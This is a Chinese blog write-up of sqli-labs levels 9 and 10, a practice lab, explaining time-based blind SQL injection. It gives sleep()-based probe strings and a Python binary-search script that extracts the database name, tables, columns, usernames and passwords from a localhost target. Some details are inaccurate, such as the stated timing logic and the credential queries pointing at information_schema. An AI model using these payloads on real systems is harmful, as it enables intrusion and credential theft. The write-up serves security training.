sqli-labs注入漏洞解析--less-9/10

第九关:

这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。

判断注入点

             基于时间的注入(延时注入)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:    SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     
 

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

当请求错误时,延迟时间在3S以后

当请求正确时,延迟时间很短,在3S以内

基于这个我们就可以写脚本来帮助我们注入

import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):
    name=""
    for i in range(1,20):
        low =32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
            params = {"id": payload}
            start_time = time.time()
            r = requests.get(url,params=params)
            end_time = time.time()
            if end_time - start_time >= 1:
                 low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name += chr(mid)
        print(name)

inject_database(url)

有点慢,但是也是成功拿下数据

下边的操作和之前的一样

爆表

payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid) 

爆字段

payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

username,password

payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

            payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

拿下

第十关:

和第九关不一样的就是这里是双引号

还是时间盲注,稍微修改,直接使用

 

成功拿到数据库 ,后边的操作都是如法炮制!!!

  • 32
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

duoba_an

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值